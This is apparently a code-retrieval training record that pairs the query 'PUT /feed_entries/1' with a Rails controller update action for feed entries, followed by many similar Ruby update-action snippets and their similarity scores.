"def username_feed(username)\n\t\t\tid = search_user(username)['data'][0]['id']\n\t\t\tfeed = user_feed(id)\t\t\t\n\t\t\treturn feed\n\t\tend",
"def feeds\n\t\tuser = User.find_by_id(params[:user_id])\n\t\tunless user\n\t\t\trender json: {error: \"user not fonud\"} and return\n\t\tend\n\t\tcq = CompletedQuest.where(user_id: user.friends.ids).order(created_at: :desc).limit(10)\n\t\tfeeds = []\n\t\tcq.each do |q|\n\t\t\thash = {}\n\t\t\thash[:quest] = q.quest\n\t\t\tfriend = q.user\n\t\t\tfriend.password = nil\n\t\t\thash[:friend] = friend\n\t\t\thash[:time] = q.created_at\n\t\t\tfeeds.push(hash)\n\t\tend\n\t\trender json: {feeds: feeds}\n\tend"
] |
[
"0.6419823",
"0.63037336",
"0.6288876",
"0.6203973",
"0.6202745",
"0.61862034",
"0.61345345",
"0.6106263",
"0.60801655",
"0.6079445",
"0.6059792",
"0.6058583",
"0.6056247",
"0.60481274",
"0.59819645",
"0.59747136",
"0.5969957",
"0.595181",
"0.5950664",
"0.59069204",
"0.589563",
"0.5835949",
"0.58245283",
"0.58134174",
"0.58086467",
"0.57883096",
"0.57848966",
"0.5734332",
"0.5729922",
"0.5699821",
"0.5699181",
"0.56782705",
"0.5671587",
"0.56703293",
"0.5646844",
"0.56241775",
"0.56206757",
"0.5615281",
"0.5611997",
"0.5603989",
"0.5599817",
"0.559734",
"0.55885684",
"0.55810493",
"0.5575398",
"0.5571875",
"0.55626696",
"0.5557506",
"0.5518194",
"0.5509182",
"0.5484145",
"0.54763013",
"0.54725015",
"0.5463534",
"0.5457019",
"0.54497254",
"0.5449256",
"0.5447825",
"0.54326093",
"0.5431652",
"0.5430538",
"0.5430043",
"0.5404465",
"0.5401397",
"0.53905606",
"0.5377757",
"0.5376074",
"0.5368647",
"0.536534",
"0.53551954",
"0.5350417",
"0.53484297",
"0.5342153",
"0.5334377",
"0.53211355",
"0.53211355",
"0.5318019",
"0.53055584",
"0.53022563",
"0.53003204",
"0.53003204",
"0.5299915",
"0.5298244",
"0.52941537",
"0.5289276",
"0.5288806",
"0.52708197",
"0.5268948",
"0.52644706",
"0.52643216",
"0.52621484",
"0.5256787",
"0.5250419",
"0.52494866",
"0.52441865",
"0.52398527",
"0.5238034",
"0.5237345",
"0.52369785",
"0.5229384",
"0.5225762"
] |
0.0
|
-1
|
PUT /feed_entries/1 PUT /feed_entries/1.xml
|
def update
@feed_entry = FeedEntry.find(params[:id])
respond_to do |format|
if @feed_entry.update_attributes(params[:feed_entry])
flash[:notice] = 'FeedEntry was successfully updated.'
format.html { redirect_to(@feed_entry) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @feed_entry.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @entry = Entry.find(params[:id])\n @feed = @entry.feed\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to feed_entry_path(@feed, @entry), notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n @feed = @entry.feed\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to feed_entry_path(@feed, @entry), notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n if @feed.update_attributes(params[:feed])\n flash[:notice] = 'Feed was successfully updated.'\n format.html { redirect_to feed_url(@feed) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feed.errors.to_xml }\n end\n end\n end",
"def put_atom_entry(entry, url = entry.edit_url)\n raise \"Cowardly refusing to PUT a non-Atom::Entry (#{entry.class})\" unless entry.is_a? Atom::Entry\n headers = {\"Content-Type\" => \"application/atom+xml\" }\n\n put(url, entry.to_s, headers)\n end",
"def update\n @twitterfeed = Twitterfeed.find(params[:id])\n\n respond_to do |format|\n if @twitterfeed.update_attributes(params[:twitterfeed])\n flash[:notice] = 'Twitterfeed was successfully updated.'\n format.html { redirect_to(@twitterfeed) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @twitterfeed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n if @feed.update_attributes(params[:feed])\n format.html { redirect_to @feed, :notice => 'Feed was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @feed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n if @feed.update_attributes(params[:feed])\n format.html { redirect_to @feed, notice: 'Feed updated OK' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feed_entry = FeedEntry.find(params[:id])\n\n respond_to do |format|\n if @feed_entry.update_attributes(params[:feed_entry])\n format.html { redirect_to @feed_entry, notice: 'Feed entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feed_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n feed = Feed.find(params[:id])\n if feed.update_attributes(feed_params)\n render :json => {:ok => true}, :head => :no_content\n else\n render :json => {:ok => false, :message => feed.errors}, :status => :unprocessable_entity\n end\n end",
"def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n if @feed.update_attributes(params[:feed])\n format.html { redirect_to @feed, notice: 'Feed successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n if @feed.update_attributes(params[:feed])\n format.html { redirect_to @feed, notice: 'Feed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n if @feed.update_attributes(params[:feed])\n format.html { redirect_to @feed, notice: 'Feed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feed.attributes = params[:feed]\n\n respond_to do |format|\n if @feed.save(user: current_user)\n format.html { render 'admin/shared/update' }\n format.xml { head :ok }\n else\n @feed.reload # to retrieve the old title\n format.html { render template: 'admin/shared/edit', locals: { record: @feed }, status: :unprocessable_entity }\n format.xml { render xml: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feed = Feed.find(params[:id]) rescue Feed.find_by_uri(params[:id])\n \n respond_to do |wants|\n if @feed.update_attributes(params[:feed])\n wants.xml { render :nothing => true }\n wants.js\n else\n wants.xml { render :xml => @feed.errors.to_xml }\n wants.js\n end\n end\n end",
"def update\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n if @feed.update_attributes(params[:feed])\n format.html { redirect_to root_path, notice: 'Feed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feed_entry.update(feed_entry_params)\n format.html { redirect_to @feed_entry, notice: 'Feed entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @feed_entry }\n else\n format.html { render :edit }\n format.json { render json: @feed_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feedentry = Feedentry.find(params[:id])\n\n respond_to do |format|\n if @feedentry.update_attributes(params[:feedentry])\n format.html { redirect_to @feedentry, notice: 'Feedentry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feedentry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @datafeed = Datafeed.find(params[:id])\n\n respond_to do |format|\n if @datafeed.update_attributes(params[:datafeed])\n flash[:notice] = 'Datafeed was successfully updated.'\n format.html { redirect_to(@datafeed) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @datafeed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feed = Feed.find(params[:id])\n\n if @feed.update_attributes(params[:feed])\n redirect_to @feed, notice: 'Feed was successfully updated.'\n else\n render action: \"edit\"\n end\n end",
"def update\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n if @feed.update_attributes(params[:feed])\n flash[:notice] = 'Feed was successfully updated.'\n format.html { redirect_to( user_feeds_path(@user) ) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feed.errors }\n end\n end\n end",
"def update\n @entry = FeedEntry.find(params[:id])\n\n tags = params['tags' + params[:id]]\n\n respond_to do |format|\n if FeedEntry.add_tag(@entry, tags)\n format.html {render action: 'index'}\n format.json {head :no_content}\n else\n format.html {render action: 'index'}\n format.json {render json: @entry.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @populate_feed_info = PopulateFeedInfo.find(params[:id])\n\n respond_to do |format|\n if @populate_feed_info.update_attributes(params[:populate_feed_info])\n format.html { redirect_to(@populate_feed_info, :notice => 'PopulateFeedInfo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @populate_feed_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @rss_feed = RssFeed.find(params[:id])\n\n respond_to do |format|\n if @rss_feed.update_attributes(params[:rss_feed])\n format.html { redirect_to '/', notice: 'Rss feed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rss_feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(feed, options = {})\n body = options.has_key?(:body) ? options[:body] : {}\n body[:feed] = feed\n\n response = @client.put \"/api/topics/#{@topic_id}/feeds/#{@id}\", body, options\n\n return response\n end",
"def update\n @rss_feed = RssFeed.find(params[:id])\n\n respond_to do |format|\n if @rss_feed.update_attributes(params[:rss_feed])\n format.html { redirect_to @rss_feed, notice: 'Rss feed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rss_feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feed.update(feed_params)\n format.html { redirect_to @feed, notice: 'Feed was successfully updated.' }\n format.json { render :show, status: :ok, location: @feed }\n else\n format.html { render :edit }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feed.update(feed_params)\n format.html { redirect_to @feed, notice: 'Feed was successfully updated.' }\n format.json { render :show, status: :ok, location: @feed }\n else\n format.html { render :edit }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feed.update(feed_params)\n format.html { redirect_to @feed, notice: 'Feed was successfully updated.' }\n format.json { render :show, status: :ok, location: @feed }\n else\n format.html { render :edit }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feed.update(feed_params)\n format.html { redirect_to @feed, notice: 'Feed was successfully updated.' }\n format.json { render :show, status: :ok, location: @feed }\n else\n format.html { render :edit }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feed.update(feed_params)\n format.html { redirect_to @feed, notice: 'Feed was successfully updated.' }\n format.json { render :show, status: :ok, location: @feed }\n else\n format.html { render :edit }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update\n @entry = Entry.find(params[:id])\n\n if @entry.update_attributes(params[:entry])\n head :no_content\n else\n render json: @entry.errors, status: :unprocessable_entity\n end\n end",
"def update\n @feed = current_user.feeds.find params[:id]\n current_user.refresh_feed @feed\n\n head :ok\n rescue => e\n handle_error e\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to(entries_url, :notice => 'Entry was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_feed_entry\n @feed_entry = FeedEntry.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @feed.update(feed_params)\n format.html { redirect_to authenticated_root_path, notice: 'Feed was successfully updated.' }\n format.json { render :show, status: :ok, location: @feed }\n else\n format.html { render :edit }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feed.update(feed_params)\n format.html { \n redirect_to @feed\n flash[:success] = 'Feed was successfully updated.' \n }\n format.json { render :show, status: :ok, location: @feed }\n else\n format.html { render :edit }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feed_element = FeedElement.find(params[:id])\n\n respond_to do |format|\n if @feed_element.update_attributes(params[:feed_element])\n format.html { redirect_to @feed_element, :notice => 'Feed element was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @feed_element.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @atom = Atom.find(params[:id])\n\n respond_to do |format|\n if @atom.update_attributes(params[:atom])\n flash[:notice] = 'Atom was successfully updated.'\n format.html { redirect_to(@atom) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @atom.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n flash[:notice] = 'Entry was successfully updated.'\n format.html { redirect_to(@entry) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def save\n self.client.api_post(\"/feed\", self.create_params)\n end",
"def show\n @entry = Entry.find(params[:id])\n\t@entry.viewed += 1\n\t@entry.update_attributes(params[:id])\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n\t format.rss { render :rss => @entry }\n end\n end",
"def show\n @entry = Entry.find(params[:id])\n\t@entry.viewed += 1\n\t@entry.update_attributes(params[:entry])\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n\t format.rss { render :rss => @entry }\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to(@entry, :notice => 'Entry was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @feed = Feed.find(params[:feed_id])\n @entry = @feed.entries.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n @entry.author.save\n format.html { redirect_to feed_entry_path(@feed,@entry), notice: 'Entry was successfully created.' }\n format.json { render json: feed_entry_path(@feed, @entry), status: :created, location: feed_entry_path(@feed, @entry) }\n else\n format.html { render action: \"new\" }\n format.json { render json: feed_entry_path(@feed,@entry).errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to(:action => :index, :notice => 'Entry was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = @resource_finder.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n flash[:notice] = 'Entry was successfully updated.'\n format.html { redirect_to_resource }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n params[:entry][:status] = 'publish' if params[:entry][:status] == 'update'\n \n if params[:entry][:entry_metas_attributes].present?\n params[:entry][:entry_metas_attributes].replace(convert_entry_metas_attributes(params[:entry][:entry_metas_attributes]))\n end\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to edit_admin_entry_path(@entry), notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end",
"def update!(**args)\n @feed = args[:feed] if args.key?(:feed)\n @id = args[:id] if args.key?(:id)\n @label_bucket = args[:label_bucket] if args.key?(:label_bucket)\n @label_value = args[:label_value] if args.key?(:label_value)\n @name = args[:name] if args.key?(:name)\n end",
"def show\n @feed = Feed.find(params[:id])\n @entries = EntryFeed.where(:feed_id => @feed.id)\n\n if @entries.blank?\n EntryFeed.create_from_feed(@feed)\n @entries = EntryFeed.where(:feed_id => @feed.id)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @feed }\n end\n end",
"def fetch!\n parsed_feed = FeedNormalizer::FeedNormalizer.parse open(self.feed_url)\n \n self.update_attributes( :title => parsed_feed.title,\n :url => parsed_feed.url\n #:etag => parsed_feed.etag\n #:last_modified => parsed_feed.last_modified\n )\n \n parsed_feed.entries.each do |entry|\n self.entries.create(:url => entry.url,\n :title => entry.title,\n :author => entry.author,\n #:summary => entry.summary,\n :content => entry.content\n #:published => entry.published\n #:categories => entry.categories\n ) if !Entry.find_by_url(entry.url)\n end\n end",
"def update\n respond_to do |format|\n if @feed_info.update(feed_info_params)\n format.html { redirect_to @feed_info, notice: 'Feed info was successfully updated.' }\n format.json { render :show, status: :ok, location: @feed_info }\n else\n format.html { render :edit }\n format.json { render json: @feed_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feed_item.update(feed_item_params)\n format.json { render :show, status: :ok, location: @feed_item }\n else\n format.json { render json: @feed_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update_podcast_feed()\n @ole.UpdatePodcastFeed()\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n flash[:notice] = 'Post was successfully updated.'\n format.html { redirect_to(@post) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n make_rss\n end",
"def webhook_update\n @feed = Feed.find(params[:id])\n Resque.enqueue(FeedParser, @feed.id, @feed.url)\n render status: 200, plain: ''\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def set_entry\n if params[:id].present?\n if params[:id] == 'current'\n @feed = Feed.friendly.find(params[:feed_id])\n @entry = @feed.entries.recent.first\n else\n @entry = Entry.friendly.find(params[:id])\n end\n end\n end",
"def update\n @agencyfeed.update! agencyfeed_params\n render :show, status: :ok\n end",
"def update\n respond_to do |format|\n if @atom.update_attributes(params[:atom])\n format.html { redirect_to @atom, notice: 'Atom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @atom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry_set = EntrySet.find(params[:id])\n @entry_set.update_attributes(params[:entry_set])\n\n render 'show'\n \n end",
"def update\n @entry ||= Entry.find(params[:id])\n @entry.user = current_user\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n flash[:notice] = 'Entry was successfully updated.'\n format.html { redirect_to(@entry) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @entries = args[:entries] if args.key?(:entries)\n end",
"def update!(**args)\n @entries = args[:entries] if args.key?(:entries)\n end",
"def update!(**args)\n @entries = args[:entries] if args.key?(:entries)\n end",
"def update_from_feed(auth_feed=nil)\n # If there are existing entries, then create a feed \n # object using the most recent entry's data and use Feedzirra's update method\n # to only fetch those new entries\n if entries.any?\n feed = Feedzirra::Feed.update(create_feed_for_update)\n add_entries(feed.new_entries) if valid_parse_result(feed) && !feed.is_a?(Array) && feed.updated?\n else\n # Fetch whole feed (may not be entire feed - depends on source)\n feed = auth_feed || Feedzirra::Feed.fetch_and_parse(feed_url_s)\n # Can return error status code on parse error\n add_entries(feed.entries) if valid_parse_result(feed)\n end\n # Save latest feed attributes for updates\n if valid_parse_result(feed)\n update_attributes(:etag => feed.etag, :last_modified => feed.last_modified, :feed_url_s => feed.feed_url)\n end\n end",
"def update_rest\n @entry_answer = EntryAnswer.find(params[:id])\n\n respond_to do |format|\n if @entry_answer.update_attributes(params[:entry_answer])\n flash[:notice] = 'EntryAnswer was successfully updated.'\n format.html { redirect_to(@entry_answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def update_all_feeds\n Feed.all.each do |feed_entry|\n begin\n feed = Feedzirra::Feed.fetch_and_parse(feed_entry.feed_url)\n rescue Exception => e\n Rails.logger.error \"Feedzirra threw an error on feed_entry #{feed_entry.id}: #{e.inspect}\"\n end\n if !feed.blank? && !feed.is_a?(Fixnum) && !feed.entries.blank?\n feed.entries.each do |entry|\n begin\n entry.summary = @html_sanitizer.sanitize(entry.summary) unless entry.summary.blank?\n next if entry.title.blank? || entry.summary.blank? || entry.url.blank? || entry.id.blank? || entry.published.blank?\n guid = Base64.urlsafe_encode64(OpenSSL::Digest::MD5.digest(entry.id))\n unless FeedEntry.exists?(guid: guid)\n FeedEntry.create(title: clean_string(entry.title), summary: clean_string(entry.summary), url: clean_string(entry.url), published_at: entry.published, guid: guid, fetched: false)\n end\n rescue Exception => e\n Rails.logger.error \"Caught an error on inserting feed_entry #{entry.id}: #{e.inspect}\"\n end\n end\n end\n end\n end",
"def reindex(*entries)\n list = Upload.get_relation(*entries).to_a\n result = ingest_api.put_records(*list)\n result.exec_report.error_messages.each { |e| $stderr.puts e }.blank?\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update!(**args)\n @entries = args[:entries] if args.key?(:entries)\n @kind = args[:kind] if args.key?(:kind)\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @feed = @entry.feed\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to feed_path(@feed) }\n format.json { head :no_content }\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n flash[:success] = \"Entry updated\"\n format.html { redirect_to edit_entry_path }\n else\n format.html { redirect_to edit_entry_path }\n end\n end\n end",
"def destroy\n @feed_entry = FeedEntry.find(params[:id])\n @feed_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(feed_entries_url) }\n format.xml { head :ok }\n end\n end",
"def update\r\n @feed = Feed.find(params[:id])\r\n @feeds = current_user.feeds\r\n if @feed.update_attributes(params[:feed])\r\n flash[:notice] = \"Feed successfully updated\"\r\n else\r\n flash[:error] = \"Feed update failed\"\r\n end\r\n \r\n respond_to do |format|\r\n format.html { redirect_to feeds_path }\r\n format.js {render :layout => false}\r\n end\r\n end",
"def update\n @feedbox = Feedbox.find(params[:id])\n\n respond_to do |format|\n if @feedbox.update_attributes(params[:feedbox])\n format.html { redirect_to @feedbox, notice: 'Feedbox was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feedbox.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to @entry, notice: 'Entry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end",
"def set_feed\n @feed = Feed.find(params[:id])\n end"
] |
[
"0.67380095",
"0.67380095",
"0.6557836",
"0.6528169",
"0.648896",
"0.63349605",
"0.63323367",
"0.6322824",
"0.63155645",
"0.62967324",
"0.6288994",
"0.6286226",
"0.6272155",
"0.6272155",
"0.6268469",
"0.62657356",
"0.62527204",
"0.621444",
"0.6198579",
"0.6171512",
"0.6169135",
"0.6158389",
"0.612568",
"0.6101787",
"0.6082339",
"0.60807055",
"0.6069311",
"0.60673606",
"0.60456467",
"0.60456467",
"0.60456467",
"0.60456467",
"0.60456467",
"0.603349",
"0.59999555",
"0.59883666",
"0.5968561",
"0.5962591",
"0.59572136",
"0.59458315",
"0.5942575",
"0.5942195",
"0.594143",
"0.5933664",
"0.5909895",
"0.58936375",
"0.58928823",
"0.5877557",
"0.58745474",
"0.58457893",
"0.583175",
"0.58257675",
"0.58114237",
"0.57691216",
"0.5756691",
"0.5730431",
"0.57216233",
"0.5720587",
"0.5712166",
"0.5702654",
"0.5688833",
"0.5666675",
"0.56613904",
"0.563478",
"0.5607937",
"0.5589823",
"0.5587927",
"0.5579602",
"0.5579602",
"0.5579602",
"0.5577084",
"0.55500627",
"0.55430686",
"0.55430686",
"0.55405986",
"0.5536417",
"0.5532852",
"0.5527257",
"0.55216515",
"0.5519932",
"0.55130845",
"0.5511416",
"0.55106294",
"0.5502728",
"0.5502728",
"0.5502728",
"0.5502005",
"0.5500164",
"0.5500164",
"0.54994786",
"0.54994786",
